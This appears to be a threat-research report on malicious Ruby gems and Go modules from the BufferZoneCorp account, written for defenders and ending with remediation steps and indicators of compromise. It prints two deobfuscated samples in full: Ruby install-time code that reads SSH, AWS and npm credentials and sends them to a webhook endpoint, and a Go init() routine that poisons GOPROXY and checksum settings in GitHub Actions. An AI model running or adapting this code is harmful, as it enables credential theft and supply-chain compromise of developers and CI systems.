Malicious Ruby Gems and Go Modules Impersonate Developer Tools to Steal Secrets and Poison CI
GitHub account BufferZoneCorp published sleeper packages that later added credential theft, GitHub Actions tampering, fake go wrappers, and SSH persistence.
We investigated the GitHub account BufferZoneCorp, which published a cluster of repositories linked to malicious Ruby gems and Go modules. The account is part of a software supply chain campaign targeting developers, CI runners, and build environments across two ecosystems.
On the Ruby side, the analyzed gems automate secret theft. They harvest secret-bearing environment variables and read local credential material such as SSH keys, AWS credentials, .npmrc, .netrc, GitHub CLI configuration, and RubyGems credentials, then send the collected data to a hidden exfiltration endpoint.
On the Go side, the campaign is more diverse. Some modules modify GITHUB_ENV, poison GOPROXY, weaken checksum protections, and tamper with go.sum to make downstream dependency resolution easier to intercept or subvert. Other variants plant fake go wrappers in workflow execution paths, manipulate proxy settings, and exfiltrate developer and CI data. In one case, a module appends a hardcoded SSH public key to ~/.ssh/authorized_keys, establishing persistence on the affected host.
We reported all identified malicious gems and modules to the affected registries and submitted a takedown request for the associated GitHub account. Following our report, the Go Security team blocked the malicious Go modules we identified, and we thank them for their swift action. As of this writing, the identified Ruby gems and the GitHub account remain live.
BufferZoneCorp GitHub account hosting a rapidly assembled mix of Ruby and Go repositories.
From GitHub Repositories to Published Packages
The BufferZoneCorp GitHub account (https://github[.]com/BufferZoneCorp) hosted repositories that mapped directly to published Ruby gems and Go modules.
On the Ruby side, the repositories mapped to the following gems:
knot-activesupport-loggerknot-devise-jwt-helperknot-rack-session-storeknot-rails-assets-pipelineknot-rspec-formatter-jsonknot-date-utils-rb(sleeper gem; not yet weaponized)knot-simple-formatter(sleeper gem; not yet weaponized)
RubyGems profile knot-theory tied to the campaign, showing seven published gems and measurable download activity. The published gem names add a knot- prefix to repository names modeled on legitimate Ruby and Rails utilities, preserving close visual and semantic similarity to trusted developer tooling.
On the Go side, the repositories mapped to modules including:
github[.]com/BufferZoneCorp/go-metrics-sdkgithub[.]com/BufferZoneCorp/go-weather-sdkgithub[.]com/BufferZoneCorp/go-retryablehttpgithub[.]com/BufferZoneCorp/go-stdlib-extgithub[.]com/BufferZoneCorp/grpc-clientgithub[.]com/BufferZoneCorp/net-helpergithub[.]com/BufferZoneCorp/config-loadergithub[.]com/BufferZoneCorp/log-core(sleeper module; not yet weaponized)github[.]com/BufferZoneCorp/go-envconfig(sleeper module; not yet weaponized)
A seventeenth repository, go-stdlog, appeared later and had not been pushed to the Go module ecosystem at the time of writing. Even so, its public source already contained malicious reconnaissance logic that runs on import, inventories CI tokens, probes Docker and AWS metadata surfaces, and writes runtime context to logs or local diagnostic files.
The BufferZoneCorp campaign began with sleeper packages: the Ruby gems and Go modules were initially published with plausible utility branding, standard README content, and little or no overtly malicious behavior, then later updated, in almost every case, to add active payloads such as credential exfiltration, GitHub Actions tampering, path hijacking, proxy manipulation, or SSH persistence. Across both ecosystems, the packages impersonate legitimate developer tooling, and in several cases closely track or typosquat real libraries developers know and trust.
- The Ruby side borrows directly from recognizable names and functions such as
activesupport-logger,devise-jwt, and Rack or Rails session and asset utilities. - The Go side is even more explicit, with names similar to established modules such as HashiCorp’s
go-retryablehttpand Kelsey Hightower’senvconfig, along with generic infrastructure-flavored names likegrpc-client,config-loader, andgo-stdlib-extthat blend easily into normal dependency graphs.
Public Go module page for the malicious github[.]com/BufferZoneCorp/go-metrics-sdk, presented as a routine instrumentation library with clean documentation, valid module metadata, and a plausible logrus dependency.
Ruby: Install Time Credential Theft
One of the Ruby samples in the cluster (knot-activesupport-logger), claims to be a helper for Rails or ActiveSupport logging, but its real value to the threat actor is secret collection.
The gem contains two malicious paths. The first is install time execution through extconf.rb. RubyGems treats extconf.rb as part of the native extension build process, so this file runs automatically during installation. The second is a runtime path wired into the custom logger itself, which sends environment data the first time the logger is used.
The install time path is the most consequential because it can run before a user ever explicitly invokes the advertised package functionality. In the sample we analyzed, the code filters environment variables for keywords such as token, key, secret, pass, aws, github, api, and auth. It then reads from common developer credential paths, including ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.aws/credentials, ~/.npmrc, ~/.gem/credentials, ~/.netrc, ~/.config/gh/hosts.yml, and ~/.gitconfig. The results are encoded as JSON and sent to a hidden remote endpoint.
Here and below, the code snippets are taken directly from the analyzed packages. We deobfuscated the samples where needed and added inline comments to highlight the code’s functionality and malicious intent.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
require 'mkmf' # install-time execution hook
require 'net/http' # HTTP exfiltration
require 'json' # JSON encoding
require 'uri'
require 'fileutils' # unused here; likely cover or prep
require 'socket' # hostname collection
require 'base64' # endpoint obfuscation
def _r(p)
# Read up to 4 KB from a file in the user's home directory
File.read(File.join(Dir.home, p)).slice(0, 4096)
rescue
nil # suppress read errors
end
_ep = ENV['PKG_ANALYTICS_URL'] ||
Base64.decode64(
'aHR0cHM6Ly93ZWJob29rLnNpdGUvNDljMjE4NDMtYzI3Yy00YTFiLWIxZjYtMDM3YzM5OTgwNTVm'
)
# Hidden exfil endpoint, overrideable at runtime
# Decodes to: https://webhook[.]site/49c21843-c27c-4a1b-b1f6-037c3998055f
_keys = %w[token key secret pass npm aws github stripe database api auth]
# Keywords used to select secret-bearing environment variables
_env = ENV.select { |k, _| _keys.any? { |s| k.downcase.include?(s) } }
# Collect environment variables likely to hold credentials or tokens
_data = {
ts: Time.now.to_i,
h: Socket.gethostname, # hostname
u: ENV['USER'], # username
p: RUBY_PLATFORM, # platform
ci: !!ENV['CI'], # CI marker
phase: 'install',
env: _env, # selected environment secrets
f: {
rsa: _r('.ssh/id_rsa'), # SSH private key
ed: _r('.ssh/id_ed25519'), # SSH private key
aws: _r('.aws/credentials'), # AWS credentials
npmrc: _r('.npmrc'), # npm credentials
gem: _r('.gem/credentials'), # RubyGems credentials
netrc: _r('.netrc'), # machine credentials
gh: _r('.config/gh/hosts.yml'), # GitHub CLI auth data
gitcfg: _r('.gitconfig'), # Git config and helper data
}
}
begin
_uri = URI.parse(_ep)
_http = Net::HTTP.new(_uri.host, _uri.port)
_http.use_ssl = _uri.scheme == 'https'
_http.open_timeout = 3
_req = Net::HTTP::Post.new(_uri.path.empty? ? '/' : _uri.path)
_req['Content-Type'] = 'application/json'
_req['X-Pkg-Id'] = 'activesupport-logger-install'
_req.body = _data.to_json
_http.request(_req) # exfiltrates harvested data during install
rescue
nil # suppress network errors
end
create_makefile('activesupport_logger_ext')
# Forces RubyGems to run extconf.rb during installation
In a controlled lab test, we redirected PKG_ANALYTICS_URL to a local collector and confirmed that installation triggered an outbound JSON POST containing host metadata and test secrets we intentionally placed in the environment. The gem also includes a runtime exfiltration path. On the first log write, it spawns a background thread that collects secret-bearing environment variables and sends them to the same endpoint.
Socket AI Scanner’s analysis of the malicious knot-activesupport-logger gem highlights install-time credential theft implemented in ext/extconf.rb, where the gem harvests secret-bearing environment variables, reads developer credential files from the user’s home directory, and exfiltrates the collected data to an external HTTPS endpoint while suppressing errors to reduce detection and avoid breaking installation.
Go: One Cluster, Several Distinct Payloads
The Go modules tied to BufferZoneCorp are related, but they do not all have the same payload. Instead, they follow a common pattern: automatic execution through init(), targeting of GitHub Actions or other CI environments, behavior inconsistent with the module’s claimed purpose, and shared infrastructure or control mechanisms.
Dependency Poisoning in GitHub Actions
github[.]com/BufferZoneCorp/go-metrics-sdk disguises its malicious behavior inside exporter.go, where the module executes automatically through init(). Its core objective is to tamper with Go module trust settings in GitHub Actions.
The sample detects GITHUB_ENV, decodes a hidden endpoint or takes one from PKG_ANALYTICS_URL, removes selected dependency lines from go.sum, and appends poisoned environment settings to the workflow environment. Those settings include GOPROXY, GOSUMDB=off, GONOSUMDB=*, GOFLAGS=-mod=mod, and a custom GOMODCACHE path.
The key behavior is visible in the following excerpt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
package metrics
import (
"fmt"
"os"
"strconv"
"strings"
)
var _peers = []string{
"104.116.116.112",
"115.58.47.47",
"119.101.98.104",
"111.111.107.46",
"115.105.116.101",
"47.52.57.99",
"50.49.56.52",
"51.45.99.50",
"55.99.45.52",
"97.49.98.45",
"98.49.102.54",
"45.48.51.55",
"99.51.57.57",
"56.48.53.53",
"102.0.0.0",
}
// Hidden endpoint encoded as decimal byte fragments
// Decodes to: https://webhook[.]site/49c21843-c27c-4a1b-b1f6-037c3998055f
func _env(a, b string) string { return os.Getenv(a + b) }
// Rebuilds "GITHUB_ENV" from fragments to evade simple string matching
func _j(ss ...string) string {
var b strings.Builder
for _, s := range ss {
b.WriteString(s)
}
return b.String()
}
// Joins suspicious strings from fragments
func _resolve(peers []string) string {
var out []byte
for _, p := range peers {
for _, part := range strings.Split(p, ".") {
if n, err := strconv.Atoi(part); err == nil && n > 0 {
out = append(out, byte(n))
}
}
}
return string(out)
}
// Decodes the hidden endpoint
func init() {
_syncRegistry()
}
// Runs automatically when the module initializes
func _syncRegistry() {
envFile := _env("GITHUB", "_ENV")
if envFile == "" {
return
}
// Only runs in GitHub Actions
tb := _resolve(_peers)
if v := os.Getenv("PKG_ANALYTICS_URL"); v != "" {
tb = v
}
// Allows the endpoint to be overridden at runtime
sumPath := "go.sum"
if data, err := os.ReadFile(sumPath); err == nil {
needle := _j("github.com", "/sirupsen", "/logrus")
var keep []string
for _, line := range strings.Split(string(data), "\n") {
if !strings.Contains(line, needle) {
keep = append(keep, line)
}
}
os.WriteFile(sumPath, []byte(strings.Join(keep, "\n")), 0644)
}
// Removes logrus checksums from go.sum
f, err := os.OpenFile(envFile, os.O_APPEND|os.O_WRONLY, 0600)
if err != nil {
return
}
defer f.Close()
fmt.Fprintf(f, _j("GOP", "ROX", "Y=%s|direct\n"), tb)
// Repoints GOPROXY to the hidden or overridden endpoint
fmt.Fprintln(f, _j("GOS", "UMDB=off"))
// Disables checksum database verification
fmt.Fprintln(f, _j("GON", "OSU", "MDB=*"))
// Skips checksum verification for all modules
fmt.Fprintln(f, _j("GOF", "LAGS=-mod=mod"))
// Forces module resolution behavior
fmt.Fprintln(f, _j("GOMOD", "CACHE=/tmp/.go", "mod-cache"))
// Redirects the module cache to a temp path
}
This module interferes with how a GitHub Actions workflow fetches and trusts Go dependencies. It changes download and verification settings, weakens checksum protections, and edits go.sum to help force dependency re-resolution through threat actor-controlled settings. The goal is to make later workflow steps trust Go’s built-in safeguards less and threat actor-supplied settings more.
Proxy Manipulation and a Fake go Wrapper
github[.]com/BufferZoneCorp/go-retryablehttp belongs to the same campaign, but it uses a different technique. Instead of targeting Go checksum and trust settings directly, it sets up path and proxy interception for later workflow steps.
The module executes through init(), detects GITHUB_ENV and GITHUB_PATH, sets HTTP_PROXY and HTTPS_PROXY, writes a fake go executable into a cache directory, and appends that directory to the workflow path so the wrapper is selected before the real binary. That wrapper can then intercept or influence later go executions while still passing control to the legitimate binary to avoid breaking the job.
This variant gives the threat actor a different foothold in CI. github[.]com/BufferZoneCorp/go-metrics-sdk tampers with dependency trust settings directly. github[.]com/BufferZoneCorp/go-retryablehttp instead hijacks process routing and network flow inside the build environment.
Credential Theft, SSH Persistence, and Workflow Tampering
github[.]com/BufferZoneCorp/go-stdlib-ext executes automatically from init(). It launches a background goroutine, pauses briefly, and then calls functions that exfiltrate data, establish persistence, and alter the runtime environment.
The module reads from local credential files such as ~/.npmrc, ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.aws/credentials, ~/.config/gh/hosts.yml, ~/.docker/config.json, ~/.kube/config, and ~/.netrc. It also harvests environment data, and POSTs the results to the campaign’s collection endpoint. If exfiltration succeeds, it appends a hardcoded SSH public key tagged deploy@buildserver to ~/.ssh/authorized_keys.
That behavior moves the sample beyond credential theft and into persistence. If the threat actor controls the corresponding private key, the inserted public key can provide future SSH access to the host.
The sample also targets GitHub Actions. It writes no sum settings to the workflow environment and plants another fake go wrapper in the execution path. That wrapper sends go invocation arguments to the collection endpoint, then passes control to the real Go binary.
Outlook and Recommendations
This cluster will likely continue to evolve even if individual packages are removed. The campaign already shifted from sleeper packages to active payloads and then added new repository staging. Defenders should expect follow-on packages that reuse a similar playbook: plausible utility branding, automatic execution paths, CI targeting, secret collection, path hijacking, and persistence.
If affected by this campaign, remove all BufferZoneCorp Ruby gems and Go modules, then review developer systems and CI workflows for evidence of installation or execution.
In Ruby environments, search for the knot-* gems tied to this cluster and inspect hosts for access to sensitive files such as ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.aws/credentials, ~/.gem/credentials, ~/.netrc, ~/.config/gh/hosts.yml, and ~/.gitconfig. If any affected gem was installed, rotate exposed credentials and review network logs for outbound HTTPS traffic to the identified collection endpoint.
In Go environments, search source repositories, build logs, and dependency manifests for github[.]com/BufferZoneCorp/. Review workflows for unauthorized changes to GITHUB_ENV, GITHUB_PATH, GOPROXY, GOSUMDB, GONOSUMDB, GOFLAGS, GOMODCACHE, or go.sum. Look for fake go wrappers in cache or utility directories and inspect ~/.ssh/authorized_keys for unauthorized key insertion, including the deploy@buildserver marker.
In GitHub Actions, review logs for runner inventory output, token presence checks, Docker socket probing, AWS metadata probing, unexpected writes to stderr, and references to temporary diagnostic files. If a workflow imported or executed one of these modules, treat runner secrets, cloud credentials, package publishing tokens, and build outputs as potentially exposed.
To reduce repeat exposure, add review gates for newly introduced developer utilities, and limit secret scope in CI so build jobs do not inherit credentials they do not need.
Indicators of Compromise
Threat actor aliases
BufferZoneCorp— GitHub usernameknot-theory— RubyGems username
SSH public key
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBp9VZGMxqFpTwKbKJi7dS2mNrX3LqEoHcYsWfAkZvUt deploy@buildserver
GitHub repositories
github[.]com/BufferZoneCorp/activesupport-loggergithub[.]com/BufferZoneCorp/devise-jwt-helpergithub[.]com/BufferZoneCorp/rack-session-storegithub[.]com/BufferZoneCorp/rails-assets-pipelinegithub[.]com/BufferZoneCorp/rspec-formatter-jsongithub[.]com/BufferZoneCorp/date-utils-rbgithub[.]com/BufferZoneCorp/simple-formattergithub[.]com/BufferZoneCorp/go-metrics-sdkgithub[.]com/BufferZoneCorp/go-weather-sdkgithub[.]com/BufferZoneCorp/go-retryablehttpgithub[.]com/BufferZoneCorp/go-stdlib-extgithub[.]com/BufferZoneCorp/grpc-clientgithub[.]com/BufferZoneCorp/net-helpergithub[.]com/BufferZoneCorp/config-loadergithub[.]com/BufferZoneCorp/log-coregithub[.]com/BufferZoneCorp/go-envconfiggithub[.]com/BufferZoneCorp/go-stdlog
Ruby gems
knot-activesupport-loggerknot-devise-jwt-helperknot-rack-session-storeknot-rails-assets-pipelineknot-rspec-formatter-jsonknot-date-utils-rbknot-simple-formatter
Go modules
github[.]com/BufferZoneCorp/go-metrics-sdkgithub[.]com/BufferZoneCorp/go-weather-sdkgithub[.]com/BufferZoneCorp/go-retryablehttpgithub[.]com/BufferZoneCorp/go-stdlib-extgithub[.]com/BufferZoneCorp/grpc-clientgithub[.]com/BufferZoneCorp/net-helpergithub[.]com/BufferZoneCorp/config-loadergithub[.]com/BufferZoneCorp/log-coregithub[.]com/BufferZoneCorp/go-envconfig
Exfiltration endpoint
hxxps://webhook[.]site/49c21843-c27c-4a1b-b1f6-037c3998055f
MITRE ATT&CK
- T1195.001 — Supply Chain Compromise: Compromise Software Dependencies and Development Tools
- T1204.005 — User Execution: Malicious Library
- T1036.005 — Masquerading: Match Legitimate Resource Name or Location
- T1059.004 — Command and Scripting Interpreter: Unix Shell
- T1552.001 — Unsecured Credentials: Credentials in Files
- T1552.004 — Unsecured Credentials: Private Keys
- T1552.005 — Unsecured Credentials: Cloud Instance Metadata API
- T1098.004 — Account Manipulation: SSH Authorized Keys
- T1574.007 — Hijack Execution Flow: Path Interception by PATH Environment Variable
- T1567.004 — Exfiltration Over Web Service: Exfiltration Over Webhook
- T1082 — System Information Discovery
- T1083 — File and Directory Discovery
- T1526 — Cloud Service Discovery
- T1613 — Container and Resource Discovery
